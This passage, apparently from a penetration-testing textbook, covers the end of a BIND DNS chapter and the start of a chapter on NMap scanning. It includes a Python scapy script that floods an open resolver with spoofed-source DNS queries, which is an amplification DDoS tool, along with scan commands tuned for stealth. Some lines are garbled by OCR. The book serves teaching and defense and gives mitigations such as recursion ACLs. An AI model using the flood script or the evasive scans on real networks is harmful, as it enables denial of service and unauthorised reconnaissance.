jmaxwell@kalliope ~ $ sudo journalctl -u bind9 --since "5 minutes ago"

-- Logs begin at Wed 2018-04-18 21:28:59 EDT, end at Wed 2018-04-18 22:05:52 EDT. --
Apr 18 22:04:00 kalliope named[1004]: client 10.0.2.2#47415: request has

invalid signature: TSIG
7LeBII3gniFaf]jjoGuN1Lzm30sodK1suBD3sSRjzc1hCKxIgFjAJIzzEY2uGzK9.7LeBII3gn1F

Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Main process exited,
code=killed, status=6/ABRT

Apr 18 22:04:00 kalliope rndc[2706]: rndc: connect failed: 127.0.0.1#953:
connection refused

Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Control process exited,
code=exited status=1

Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Unit entered failed state.

Apr 18 22:04:00 kalliope systemd[1]: bind9.service: Failed with result 'exit-code'.

Like the previous exploit, there is no simple mitigation other than patching the service.

Recursion and DNS Amplification Attacks

There are two kinds of queries: recursive and iterative. A nameserver that receives a recursive
query attempts to answer the query with data in its possession - either cached or from one of
its zones. If the nameserver is unable to answer the query, the nameserver makes requests

of additional nameservers until it locates the data, then returns the result. A nameserver that
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receives an iterative query responds with the best data in its possession; if it does not know the
answer to the query, it returns a referral to other nameservers that may know the answer.

A server that responds to recursive requests from locations on the open Internet is a security
problem and can be used in a DNS amplification attack.

A DNS amplification attack is a type of distributed denial of service (DDoS) attack. In a
successful DDoS attack, the attacker uses many systems to send more data to a target than it
can handle. If an attacker controls 10 systems capable of sending 10 Mbps to a target, then the
attacker can flood the target with 100 Mbps. DNS amplification allows the attacker to multiply
that significantly. The process is as follows:

e The attacker identifies one or more nameservers with very large records or
creates a nameserver with a large record.

o The attacker instructs each controlled attacking system to request that
record, but not directly. Instead each system makes the request of a DNS
server that responds to recursive queries.

o Each DNS request spoofs the source address of the requesting system,
replacing the attacker’s address with that of the target.

e The open recursive nameservers obtain the record from the nameserver(s)
with a large record selected by the attacker.

e Because nameservers cache their results, requests for the large record are
only made when the cached data expires, reducing strain on the nameserver
providing the large records.

e Therecursive nameservers send the large results to the address spoofed in
the original packet.

This method was used in a DDoS against Spamhaus in 2013. In that attack, it is estimated that
the requests were likely 36 bytes in size, while the responses were roughly 3,000 bytes, increasing
the effect on the target by nearly 100 times.?

Since UDP does not use a three-way handshake, it is difficult for the recursive nameservers to
know that the source has been spoofed. Moreover, the target sees only DNS traffic from legitimate
DNS servers, making it difficult to filter the attack.

Code that implements this kind of attack can be implemented in Python. Consider a Kali
system and the code in Listing 4-9.

*http://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho
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Listing 4-9. Python code to send spoofed DNS requests
#!/usr/bin/python

from scapy.all import IP,UDP,DNS,DNSQR,send

packet = IP(dst="10.0.4.10", src="10.0.2.26")
packet = packet/UDP(dport=53)
packet = packet/DNS(rd=1,qd=DNSQR(gname="google.com", qtype="ALL"))
while True:
send(packet,verbose=0)

The script begins with the path to Python. The scapy library is loaded; scapy is a full-featured
packet manipulation library for Python. The next three lines build a packet. The first line specifies
the IP layer, where the destination is the address of a nameserver providing recursive lookups and
the (spoofed) source is the address of the target. The second line refines the packet, configuring it
as a UDP packet on the default port UDP/53 for DNS queries. The third line builds the DNS query.
The flag rd is set to 1, indicating that recursion is desired. The qd variable provides the DNS query;
in this example it asks for all records for the host name google.com. Once built, the packet is sent
out as rapidly as possible in a while loop; if the verbose=0 option is not set, then Python reports to
the screen each time a packet is sent.

The Ethernet frame for the request is 70 bytes, but the Ethernet frame for the response is 550
bytes, meaning this simple code amplifies the size of the data stream by more than seven times.
The load on Google’s nameserver is essentially nil as the vulnerable recursive nameserver caches
the result.

To provide a more secure BIND installation, the named. conf file (Table 4-1) should be
configured to only accept recursive queries from trusted hosts. This can be done by specifying
one or more address ranges as an acl, then restricting recursion and/or queries to only those
systems.

acl internal { 10.0.2.0/24; 127.0.0.0/8; };

options {
directory "/var/named";
allow-transfer{ "none"; };
statistics-file "/var/named/data/stats"”;
recursing-file "/var/named/data/recursing”;
version "This isn't the BIND information you are looking for....";
allow-recursion{ internal; };

};
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Notes and References

Just as there are reserved IP address ranges, there are reserved namespaces. RFC 2606 (http://
tools.ietf.org/html/rfc2606) identifies four reserved top-level domains for use in testing and
documentation:

o .test

o .example

e .invalid

e .localhost

See also RFC 6761 (http://tools.ietf.org/html/rfc6761) that describes how these
domain names should be treated. The top-level domain .local is also reserved, but for use with
multicasting, and DNS traffic for such a host should be sent to the multicast address 224.0.0.251;
see RFC 6762 (http://tools.ietf.org/html/rfc6762). The list of top-level domains is available
athttp://www.iana.org/domains/root/db.

The method described in the text to build a reverse zone works for Class A, B, or C networks.
It is possible to create a reverse lookup zone for different size networks, say 10.0.2.80/28, which
is the subnetwork from 10.0.2.80 through 10.0.2.95. The technique requires more complex BIND
syntax; see, for example, DNS & BIND by Liu & Albitz, pp. 215 ff.

Abbreviations in BIND DNS zone files are well described in Chapter 4 of DNS & BIND by Liu
& Albitz, pp. 68 [f.

Installing BIND on Mint 18.1 can be problematic if the xenial-updates repository is not
enabled. For example, the usual apt installation process yields the following.

jmaxwell@aletheia ~ $ sudo apt install bind9

Reading package lists... Done

Building dependency tree

Reading state information... Done

Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

... Output Deleted ...

One solution is to use aptitude; this provides the administrator with options to resolve
dependencies.

jmaxwell@aletheia ~ $ sudo aptitude install bind9

[sudo] password for jmaxwell:

The following NEW packages will be installed:
bind9{b} bindoutils{a} libirsi41{a}
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0 packages upgraded, 3 newly installed, 0 to remove and 0 not upgraded.

Need to get 590 kB of archives. After unpacking 2,945 kB will be used.

The following packages have unmet dependencies:

bind9 : Depends: 1ibbind9-140 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-

8ubuntu1.3 is installed.
Depends: libdns162 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntul.3
is installed.
Depends: libisc160 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-8ubuntul.3
is installed.
Depends: libisccc140 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-
8ubuntu1.3 is installed.
Depends: libisccfgl40 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-
8ubuntu1.3 is installed.
Depends: liblwresi41 (= 1:9.10.3.dfsg.P4-8) but 1:9.10.3.dfsg.P4-
8ubuntu1.3 is installed.

The following actions will resolve these dependencies:

Keep the following packages at their current version:
1) bind9 [Not Installed]

Accept this solution? [Y/n/q/?] n
The following actions will resolve these dependencies:

Downgrade the following packages:
1) bind9-host [1:9.10.3.dfsg.P4-8ubuntu1.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
2) dnsutils [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
3) 1ibbind9-140 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
4) libdns162 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
5) 1ibisc160 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
6) libisccc140 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
7) libisccfg140 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]
8) liblwres141 [1:9.10.3.dfsg.P4-8ubuntul.3 (now) -> 1:9.10.3.dfsg.P4-8 (xenial)]

Accept this solution? [Y/n/q/?] y
The following packages will be DOWNGRADED:
bind9-host dnsutils 1libbind9-140 libdns162 libisc160 libisccc140 libisccfg140
liblwres141
The following NEW packages will be installed:
bind9 bindoutils{a} libirsi4i{a}
0 packages upgraded, 3 newly installed, 8 downgraded, 0 to remove and O not upgraded.
Need to get 1,921 kB of archives. After unpacking 2,937 kB will be used.
Do you want to continue? [Y/n/?] y

... Output Deleted ...
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For older versions of BIND for Windows on a 64-bit system, even though the target directory
specified in the installer is C: \Windows\system32\dns, BIND may be installed to C: \Windows\
SysWOW64\dns.

One hugely important topic that has been omitted in this chapter is DNSSEC. DNSSEC
provides digital signatures for DNS requests; this includes an infrastructure to communicate the
various public keys that are used in the signatures. Readers interested in implementing DNSSEC
on BIND may wish to read BIND DNSSEC Guide, available from https://ftp.isc.org/isc/
dnssec-guide/dnssec-guide.pdf.

My personal favorite overview of DNS & BIND is

e DNS & BIND, Cricket Liu and Paul Albitz. O’Reilly, June 2006.

My copy is well thumbed and well marked; the book is well worth reading.
For a book about the security of DNS, I highly recommend

e DNS Security, Anestis Karasaridis. Amazon Digital Services,
May 2012.

o DNS Security Defending the Domain Name System, Allan Liska and Geoffrey
Stowe. Syngress, June 2016

Another good, but older book that provides a broad introduction to DNS and BIND is
e Pro DNS and BIND, Ron Aitchison. Apress, August 2005.

No overview of BIND is complete without mentioning the official BIND documentation,
which can be found online at https://kb.isc.org/article/AA-01031.

DNS Amplification attacks have been a problem for a long time. A nice summary of DNS
amplification attacks is provided by ISC at https://deepthought.isc.org/article/AA-
00897/0/What-is-a-DNS-Amplification-Attack.html.In 2008, RFC 5358 (http://tools.ietf.
org/html/rfc5358) made recommendations to reduce the impact of DNS amplification attacks,
including limiting the IP addresses for which the server provides recursion.

Matt Prince at CloudFlare (http://blog.cloudflare.com/deep-inside-a-dns-
amplification-ddos-attack) describes in detail how a DNS amplification DDoS attack works,
and in 2013 described the attack against Spamhaus (http://blog.cloudflare.com/the-ddos-
that-knocked-spamhaus-offline-and-ho).

Trevor Pott explained in The Register (http://www.theregister.co.uk/2013/03/28/i_
accidentally the_ internet) how a misunderstanding of BIND'’s default behavior left his server
accidentally misconfigured to contribute to this DNS amplification attack.

Different versions of BIND provide different default behaviors for recursion; this is the
problem Trevor Pott identified. For this reason, it is best not to rely on the default, but instead
to explicitly configure the desired recursion. See the ISC knowledge base https://kb.isc.org/
article/AA-00269/0/What-has-changed-in-the-behavior-of-allow-recursion-and-allow-
query-cache.html that explains that the default behavior for BIND after 9.4.1-P1 is to deny
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(most) recursion by default. See also CVE 2007-2925, which reported that some versions of BIND,
including 9.4.0, 9.4.1, and 9.5.0a1-9.5.0a5 did not properly set key ACLs, and so allowed recursive
queries by default.

The recommended method in the body of the text for BIND to prevent DNS amplification
attacks follows the US-CERT recommendation at https://www.us-cert.gov/ncas/alerts/TA13-
088A.

There have been DDoS attacks against the root DNS servers for the Internet. Technical
details describing the November 2015 attack can be found in Anycast vs. DDoS: Evaluating the
November 2015 Root DNS Event, Giovane C. M. Moura, Ricardo de O. Schmidt, John Heidemann,
Wouter B. de Vries, Moritz Miiller, Lan Wei, and Cristian Hesselman, IMC '16 Proceedings
of the 2016 Internet Measurement Conference, pp. 255-270. Available from https://doi.
0rg/10.1145/2987443.2987446.
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CHAPTER 5

Scanning the Network

Introduction

The web browser attacks of Chapter 2 require the victim to visit a web site controlled by the
attacker. In more realistic scenarios, the attacker needs to know some details of the target
network before being able to launch attacks that have a reasonable chance of success.

This chapter introduces NMap, the premier tool for host detection and network scanning.
When a scan is launched, NMap sends packets to one or more targets and awaits the response.
This allows NMap to determine if the target systems are responsive to network traffic, and on which
ports. By examining the traffic characteristics in detail, NMap can guess the operating system of
the target and probe for the versions of any running services it finds. NMap’s functionality has been
extended with more than 550 scripts run through the NMap scripting engine.

NMap can be run from within Metasploit and use the Metasploit internal database to
organize and store scan results in a searchable format. Metasploit has other scanning tools,
including a scanning module that checks DNS servers for DNS amplification attacks. Custom
Metasploit modules can be developed and integrated into Metasploit.

NMap

NMap comes preinstalled on Kali systems. It is available for most Linux distributions, including
CentOS, OpenSuSE, Ubuntu, and Mint and can be installed with native tools (yum, zypper,
apt-get). A Windows port of NMap is available online at http://nmap.org/download.html.

NMap: Basic Usage

As a simple example, from a Kali system, run NMap against a small group of hosts.

root@kali-2016-2-u:~# nmap 10.0.6.120-140

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:11 EDT
Nmap scan report for 10.0.6.120

Host is up (0.00033s latency).

Not shown: 983 filtered ports
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PORT STATE SERVICE

53/tcp open domain

88/tcp open kerberos-sec
135/tcp  open msrpc

139/tcp open netbios-ssn
389/tcp  open 1ldap

445/tcp  open microsoft-ds
464/tcp  open kpasswds

593/tcp open http-rpc-epmap
636/tcp open ldapssl

3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
49154/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown

MAC Address: 08:00:27:3A:95:C5 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.6.126
Host is up (0.00069s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE

135/tcp  open msrpc

445/tcp  open microsoft-ds
2869/tcp open icslap

3389/tcp open ms-wbt-server
49153/tcp open unknown
49154/tcp open unknown

MAC Address: 08:00:27:20:87:B7 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.6.130
Host is up (0.00036s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE

135/tcp  open msrpc

139/tcp open netbios-ssn
445/tcp  open microsoft-ds
5357/tcp open wsdapi
49153/tcp open unknown

214



CHAPTER 5  SCANNING THE NETWORK

49154/tcp open unknown
MAC Address: 08:00:27:CF:03:EB (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.6.136

Host is up (0.000054s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

22/tcp open ssh

MAC Address: 08:00:27:B9:1B:F2 (Oracle VirtualBox virtual NIC)

Nmap done: 21 IP addresses (4 hosts up) scanned in 8.61 seconds

The report shows that 6 of the 21 scanned hosts responded to network traffic, including
10.0.6.120, 10.0.6.126, 10.0.6.120, and 10.0.6.136. NMap reports some of the open TCP ports.
NMap does not scan every port by default, but instead chooses 1000 common ports. The
remaining ports were not scanned by NMap. Because these hosts are all on the same local
network as the scanning system, NMap returns the MAC address of the target.

NMap provides different ways to select the target(s) of a scan, including the following:

e Hostname: nmap cassini.corp.saturn.test

e CIDRnotation: nmap 10.0.6.0/24

e CIDRwith aname: nmap cassini.corp.saturn.test/28

e Arange of IP addresses: nmap 10.0.6.120-140

e Mixed IP ranges: nmap 10.0.0.4,5,6.1-254

e Combined ranges: nmap 192.168.1.0/24 10.0.0.4,5,6.1-254

e Containedinafile:nmap -iL hostnames.txt

NMap: Ping Scans

One of the first tasks of an attacker is to determine which hosts are alive and on the network. To
check only whether a host is alive, run an NMap scan with the -sP flag.

root@kali-2016-2-u:~# nmap -sP 10.0.6.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:16 EDT
Nmap scan report for 10.0.6.120

Host is up (0.00046s latency).

MAC Address: 08:00:27:3A:95:C5 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.6.126

Host is up (0.00028s latency).

MAC Address: 08:00:27:20:87:B7 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.6.130
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Host is up (0.00037s latency).

MAC Address: 08:00:27:CF:03:EB (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.6.136

Host is up (0.00030s latency).

MAC Address: 08:00:27:B9:1B:F2 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.6.141

Host is up (0.00045s latency).

MAC Address: 08:00:27:55:41:F1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.6.144

Host is up (0.00077s latency).

MAC Address: 08:00:27:F6:57:E0 (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (6 hosts up) scanned in 2.70 seconds

NMap reports that 6 of the 256 hosts responded to traffic.

NMap: Determining if the Host Is Alive

When checking to see if a system not on the local network is alive, NMap sends four packets - a
ping request, a SYN packet to TCP/443, an ACK packet to TCP/80, and a timestamp request. This
can be observed in a packet capture; here is a scan of the Google DNS server at 8.8.8.8.

No. Time Source Destination Protocol Length

1 0.000000000 10.0.4.252 8.8.8.8 ICMP 42
Echo (ping) request 1id=0x1048, seq=0/0, ttl=53 (reply in 5)

2 0.000098000 10.0.4.252 8.8.8.8 TCP 58
41414 > https [SYN] Seq=0 Win=1024 Len=0 MSS=1460

3 0.000176000 10.0.4.252 8.8.8.8 TCP 54
41414 > http [ACK] Seq=1 Ack=1 Win=1024 Len=0

4 0.000233000 10.0.4.252 8.8.8.8 ICMP 54
Timestamp request id=0xb584, seq=0/0, ttl=54

5 0.033515000 8.8.8.8 10.0.4.252 ICMP 60

Echo (ping) reply id=0x1048, seq=0/0, ttl=41 (request in 1)

Because 8.8.8.8 responds to ping, NMap reports that host as up, even though the host did not
respond to the other three packets.

Modern firewalls may drop or log incoming ping packets and generally only allow traffic
on TCP/80 or TCP/443 to web servers. An attacker may want to modify the default NMap host
discovery methods, either to avoid detection or to provide a more accurate network map. NMap
has a range of host discovery options, including these:

e -PS<port list> Sendsa TCP SYN packet to the port(s) specified. There can
be no space between -PS and the port list.
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e -PA<port list> Sendsa TCP ACK packet to the port(s) specified. There can
be no space between -PA and the port list.

e -PU<port list> Sendsa UDP packet to the port(s) specified. There can be
no space between -PU and the port list.

As an example, an attacker can send TCP SYN packets on TCP/22, TCP/445, and TCP/3389
along with a UDP packet on UDP/53 with the following command.

root@kali-2016-2-u:~# nmap -sP -PS22,445,3389 -PU53 8.8.8.8
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-01 18:58 EDT
Nmap scan report for google-public-dns-a.google.com (8.8.8.8)
Host is up (0.024s latency).

Nmap done: 1 IP address (1 host up) scanned in 0.06 second

For targets on the local network, NMap makes an ARP request, it and may follow that up with
a DNS query to get the name of the system. Here are the packets sent from a Kali host at 10.0.4.252
that is scanning 10.0.4.14.

No. Time Source Destination Protocol Length

1 0.000000000 CadmusCo_5c:13:b7 Broadcast ARP 42
Who has 10.0.4.14? Tell 10.0.4.252

2 0.000454000 CadmusCo_f0:23:b0 CadmusCo_5c:13:b7 ARP 60
10.0.4.14 is at 08:00:27:10:23:b0

3 0.000751000 10.0.4.252 10.0.4.11 DNS 82
Standard query 0x9992 PTR 14.4.0.10.in-addr.arpa

4 0.001155000 10.0.4.11 10.0.4.252 DNS 194

Standard query response 0x9992 PTR Horsehead.nebula.example

Notice that the target system did not receive any IP packets from the scanning system as the
target responded to a broadcast ARP request. The DNS server at 10.0.4.11 was queried for the
hostname of the target.

NMap: List Scans

Another way to avoid sending packets directly to the targets is to use a list scan, -sL. In a list scan,
NMap performs reverse DNS lookups, so the only traffic is between the attacker and the DNS
server.

root@kali-2016-2-u:~# nmap -sL cassini.corp.saturn.test/28
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:24 EDT
Nmap scan report for 10.0.6.112

Nmap scan report for 10.0.6.113

Nmap scan report for 10.0.6.114
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Nmap scan report for 10.0.6.115

Nmap scan report for 10.0.6.116

Nmap scan report for 10.0.6.117

Nmap scan report for 10.0.6.118

Nmap scan report for 10.0.6.119

Nmap scan report for cassini.corp.saturn.test (10.0.6.120)
Nmap scan report for mimas.corp.saturn.test (10.0.6.121)
Nmap scan report for enceladus.corp.saturn.test (10.0.6.122)
Nmap scan report for tethys.corp.saturn.test (10.0.6.123)
Nmap scan report for dione.corp.saturn.test (10.0.6.124)
Nmap scan report for rhea.corp.saturn.test (10.0.6.125)

Nmap scan report for titan.corp.saturn.test (10.0.6.126)
Nmap scan report for hyperion.corp.saturn.test (10.0.6.127)
Nmap done: 16 IP addresses (0 hosts up) scanned in 0.00 seconds

Here NMap reports the DNS names of eight hosts; however, it did not report whether these
hosts were up.

NMap: Stealth Scans

The real value of NMap comes from its ability to determine the port(s) that the target has open.
NMap provides several ways to do so. The simplest type of scan is a SYN stealth scan. This is the
default but can be specified on the command line with the option -sS. In a stealth scan, NMap
reports TCP ports to be in one of three states depending on the observed behavior.

e Open Port: Scanner sends SYN. Target responds SYN/ACK.
e C(Closed Port: Scanner sends SYN. Target responds RST.
e Filtered Port: Scanner sends SYN. No response, or ICMP unreachable.

This is called a stealth scan because the scanner does not complete the three-way TCP
handshake

When run with the option -reason, Nmap returns the reason it classified the port. Here is a
sample scan of a CentOS 6.2 server running BIND.

root@kali-2016-2-u:~# nmap -reason 10.0.2.28

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:28 EDT
Nmap scan report for Spica.stars.example (10.0.2.28)

Host is up, received arp-response (0.00024s latency).

Not shown: 992 filtered ports

Reason: 982 no-responses and 10 host-prohibiteds
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PORT STATE SERVICE REASON

21/tcp  closed ftp reset ttl 64

22/tcp open  ssh syn-ack ttl 64

53/tcp open domain  syn-ack ttl 64

80/tcp open http syn-ack ttl 64

443/tcp open  https syn-ack ttl 64

514/tcp closed shell reset ttl 64

631/tcp closed ipp reset ttl 64

8000/tcp closed http-alt reset ttl 64

MAC Address: 08:00:27:40:19:69 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.58 seconds

By default, NMap selects the top 1000 ports for a scan, determined by a surveyed frequency
of their use. On a Kali system, these results are contained in the file /usr/share/nmap/nmap-
services. To change the number of ports scanned, the --top-ports option can be used to
specify how many of the top ports should be scanned. The precise list of scanned ports can be
specified with the -p flag; to scan all TCP ports, use the command

root@kali-2016-2-u:~# nmap -p 1-65535 -reason 10.0.2.28
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:30 EDT
Nmap scan report for Spica.stars.example (10.0.2.28)

Host is up, received arp-response (0.00033s latency).

Not shown: 65526 filtered ports

Reason: 65375 no-responses and 151 host-prohibiteds

PORT STATE SERVICE REASON

21/tcp  closed ftp reset ttl 64
22/tcp open  ssh syn-ack ttl 64
53/tcp open  domain syn-ack ttl 64
80/tcp open http syn-ack ttl 64
443/tcp open  https syn-ack ttl 64
514/tcp closed shell reset ttl 64
631/tcp closed ipp reset ttl 64
1514/tcp closed fujitsu-dtcns reset ttl 64
8000/tcp closed http-alt reset ttl 64

MAC Address: 08:00:27:40:19:69 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 146.33 seconds

This scan took more than 30 times as long at the original; this is important when scanning
large networks.
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NMap: Connect Scans

Alouder type of scan is the TCP connect scan. It is like the stealth scan and classifies ports in the
same way. If the scanner receives a SYN/ACK packet from the target, it responds with SYN/ACK to
complete the three-way handshake. The option -sT is used to specify a TCP connect scan.

root@kali-2016-2-u:~# nmap -sT -reason 10.0.2.28

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:34 EDT
Nmap scan report for Spica.stars.example (10.0.2.28)

Host is up, received arp-response (0.63s latency).

Not shown: 992 filtered ports

Reason: 921 no-responses and 71 host-unreaches

PORT STATE SERVICE REASON

21/tcp  closed ftp conn-refused

22/tcp open  ssh syn-ack

53/tcp open domain  syn-ack

80/tcp open http syn-ack

443/tcp open  https syn-ack

514/tcp closed shell conn-refused

631/tcp closed ipp conn-refused

8000/tcp closed http-alt conn-refused

MAC Address: 08:00:27:40:19:69 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 68.72 seconds

NMap: UDP Scans

Neither the stealth nor the TCP connect scan examine UDP ports. Scans of UDP ports are handled
somewhat differently, as even an open UDP port might not respond to a received UDP packet.
UDP ports are reported to be in one of four states depending on the traffic received.

e Open Port: Scanner sends UDP packet to target, and target responds.

e Open | Filtered Port: Scanner sends UDP packet to target, and target fails to
respond, even after retransmission.

e C(Closed Port: Scanner sends UDP packet, and target responds with an ICMP
port unreachable packet.

e Filtered Port: Scanner sends UDP packet, and target responds with a
different ICMP error message.

UDP scans are launched with the -sU option. Like TCP scans, by default these scan the top
1000 (UDP) ports; to specify ports manually use the -p option while to specify the number of top
ports to scan, use the --top-ports option.
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root@kali-2016-2-u:~# nmap -sU -reason 10.0.2.28

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 21:36 EDT
Nmap scan report for Spica.stars.example (10.0.2.28)

Host is up, received arp-response (0.00013s latency).

Not shown: 954 filtered ports, 45 open|filtered ports

Reason: 954 host-prohibiteds and 45 no-responses

PORT  STATE SERVICE REASON

53/udp open domain udp-response ttl 64

MAC Address: 08:00:27:40:19:69 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1017.11 seconds

Note the time needed for the UDP scan, roughly 17 minutes for 1000 UDP ports. Here both
the scanning Kali system and the target are VirtualBox systems on the same physical host.

NMap: Scan Options

Nmap has additional, esoteric scan types, including XMAS, FIN, ACK, NULL, and idle scans.
NMap allows users to adjust the speed of the scan with timing options. These cover a wide
range of settings that can be overridden individually.

e -TO (paranoid) Wait 5 minutes between probes.

-T1 (sneaky) Wait 15 seconds between probes.

-T2 (polite) As low as 1/10 speed of -T3.

-T3 (normal) Default speed.

-T4 (aggressive).

-T5 (insane).

In general, -T4 is appropriate on a fast connection; -T5 may be too fast for reliable results.
The result of the scan is stored in a named text file when the -oN option is used with a
filename. The option -oX with a filename stores the result in a file in .xml format.

NMap: Operating System Detection

When NMap is used with the -0 option, it guesses the operating system version. In this example,
it correctly determines that one of the hosts is a Windows 2012 server.

root@kali-2016-2-u:~# nmap -0 -reason 10.0.6.120

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:02 EDT
Nmap scan report for 10.0.6.120

Host is up, received arp-response (0.00033s latency).
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Not shown: 983 filtered ports
Reason: 983 no-responses

PORT STATE SERVICE REASON

53/tcp open domain syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp  open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp  open ldap syn-ack ttl 128
445/tcp  open microsoft-ds syn-ack ttl 128
464/tcp  open kpasswds syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128
49156/tcp open unknown syn-ack ttl 128
49157/tcp open unknown syn-ack ttl 128
49158/tcp open unknown syn-ack ttl 128
49159/tcp open unknown syn-ack ttl 128

MAC Address: 08:00:27:3A:95:C5 (Oracle VirtualBox virtual NIC)

Warning: 0SScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose

Running: Microsoft Windows 2012

0S CPE: cpe:/o:microsoft:windows_server 2012:12

0S details: Microsoft Windows Server 2012 or Windows Server 2012 R2

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.76 seconds

When presented with a Windows 7 system, NMap had more trouble coming up with a guess
for the operating system.

root@kali-2016-2-u:~# nmap -0 -reason 10.0.6.130

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:30 EDT
Nmap scan report for 10.0.6.130

Host is up, received arp-response (0.00052s latency).

Not shown: 993 filtered ports

Reason: 993 no-responses
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PORT STATE SERVICE REASON

135/tcp  open msrpc syn-ack ttl 128
139/tcp  open netbios-ssn  syn-ack ttl 128
445/tcp  open microsoft-ds syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128

5357/tcp open wsdapi syn-ack ttl 128
49153/tcp open unknown syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128

MAC Address: 08:00:27:CF:03:EB (Oracle VirtualBox virtual NIC)

Warning: 0SScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose|specialized|phone

Running: Microsoft Windows 2008|8.1|7|Phone|Vista

0S CPE: cpe:/o:microsoft:windows_server 2008:r2 cpe:/o:microsoft:windows 8.1
cpe:/o:microsoft:windows 7::-:professional cpe:/o:microsoft:windows 8 cpe:/
o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows vista::-
cpe:/o:microsoft:windows_vista::spl

0S details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7
Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows
Phone 7.5 or 8.0, Microsoft Windows Vista SPO or SP1, Windows Server 2008 SP1, or
Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

When given an Ubuntu 10.04 system running only SSH, the best that NMap could determine
was that it was a Linux system.

root@kali-2016-2-u:~# nmap -0 -reason 10.0.6.136

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:03 EDT
Nmap scan report for 10.0.6.136

Host is up, received arp-response (0.00036s latency).

Not shown: 999 closed ports

Reason: 999 resets

PORT  STATE SERVICE REASON

22/tcp open ssh syn-ack ttl 64

MAC Address: 08:00:27:B9:1B:F2 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:1linux:1linux_kernel:2.6
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0S details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds

NMap: Version Detection

NMap guesses the version of the services running on the target when it is run with the -sV option.

root@kali-2016-2-u:~# nmap -sV -reason 10.0.6.136

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:21 EDT
Nmap scan report for 10.0.6.136

Host is up, received arp-response (0.000062s latency).

Not shown: 999 closed ports

Reason: 999 resets

PORT  STATE SERVICE REASON VERSION

